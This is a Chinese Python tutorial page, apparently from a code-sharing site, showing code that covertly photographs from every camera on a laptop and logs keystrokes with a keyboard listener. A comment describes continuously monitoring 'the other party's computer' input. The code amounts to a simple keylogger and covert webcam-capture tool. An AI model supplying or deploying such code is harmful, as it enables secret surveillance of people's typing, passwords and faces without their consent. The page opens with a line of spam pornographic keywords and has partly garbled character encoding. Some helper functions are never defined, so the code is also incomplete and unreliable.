欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

使用Python實(shí)現(xiàn)全攝像頭拍照與鍵盤輸入監(jiān)聽功能

 更新時(shí)間:2023年08月22日 09:16:25   作者:冥天肝  
這篇文章主要介紹了使用Python實(shí)現(xiàn)全攝像頭拍照與鍵盤輸入監(jiān)聽功能,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

一、序

使用Python實(shí)現(xiàn)筆記本電腦對使用人的監(jiān)測,記錄下輸入的字符與使用人是誰

二、實(shí)現(xiàn)代碼

攝像頭拍照

def show_in_cv(camera_id):
  # 獲取當(dāng)前日期和時(shí)間
  setTime()
  DayPaths = SavePath + f'\{formatted_date}'
  fileOrNone(DayPaths)
  datePaths = DayPaths + f'\{formatted_time}'
  fileOrNone(datePaths)
  cap = cv.VideoCapture(camera_id, cv.CAP_DSHOW)
  # cap.set(cv.CAP_PROP_FRAME_WIDTH, 960)
  # cap.set(cv.CAP_PROP_FRAME_HEIGHT, 540)
  # cap.set(cv.CAP_PROP_FPS, 30)
  suc, frame = cap.read()
  # 純英文路徑保存方法
  # cv.imwrite(f'{datePaths}\{camera_id}.jpg', frame)
  # 中文路徑保存方法
  cv.imencode('.jpg', frame)[1].tofile(f'{datePaths}\{camera_id}.jpg')
  # 彈窗展示功能
  # cv.imshow("preview camera", frame)
  # cv.waitKey(30)
def cameraMain():
    # cameras = list_video_devices()
    # print(f'\n\n===========================\ncamera_list: {cameras}')
    # print(cameras)
    # idx = 1
    # camera_id = cameras[idx][0]
    # camera_name = cameras[idx][1]
    # print(f'\n\n===========================\npreview camera: camera_id={camera_id} camera_name={camera_name}')
    # show_in_cv(camera_id)
    cameras = list_video_devices()
    for idx in cameras:
        camera_id = idx[0]
        camera_name = idx[1]
        show_in_cv(camera_id)
if __name__ == '__main__':
    cameraMain()

鍵盤監(jiān)聽

CODE = ""
# 一直監(jiān)聽對方電腦的鍵盤輸入
# 處理鍵盤輸入的數(shù)據(jù)
def on_release(key):
    global CODE
    try:
        CODE += key.char
        # print(key)
    except Exception as e:
        try:
            if key == key.enter:  # 如果掃碼槍中的數(shù)據(jù)是回車enter按鍵
                print(CODE)
        except Exception as e:
            CODE = ""
def getCODE():
    return CODE
# 監(jiān)聽鍵盤掃碼槍輸入
def returnCode():
    with keyboard.Listener(on_release=on_release) as listener:
        listener.join()
if __name__ == '__main__':
    returnCode()

到此這篇關(guān)于使用Python實(shí)現(xiàn)全攝像頭拍照與鍵盤輸入監(jiān)聽的文章就介紹到這了,更多相關(guān)Python全攝像頭拍照與鍵盤輸入監(jiān)聽內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論